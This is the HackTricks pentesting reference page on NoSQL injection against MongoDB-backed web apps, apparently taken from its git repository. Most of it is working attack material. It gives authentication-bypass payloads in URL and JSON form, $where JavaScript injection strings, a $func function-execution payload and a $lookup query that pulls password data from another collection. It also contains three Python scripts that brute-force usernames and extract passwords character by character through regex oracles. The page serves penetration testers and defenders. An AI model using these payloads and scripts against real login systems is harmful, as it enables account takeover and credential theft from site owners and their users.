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hacktricks/pentesting-web/nosql-injection.md
Carlos Polop a086c07146
Merge pull request #754 from ChrisPritchard/patch-1 
Update nosql-injection.md with fixed brute force script
2024-01-14 23:47:35 +01:00

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NoSQL injection


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NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

If we pass in a string like username=admin' || 'a'=='a the query will become $where: this.username == 'admin' || 'a'=='a' which of course always evaluates to true and thus returns all results.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]


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Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' || '1'=='1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Tools

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames(prefix):
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*"}
    for c in possible_chars:
        username = "^" + prefix + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print(username)
            for user in get_usernames(prefix + c):
                usernames.append(user)
    return usernames

for u in get_usernames(""):
    get_password(u)

References

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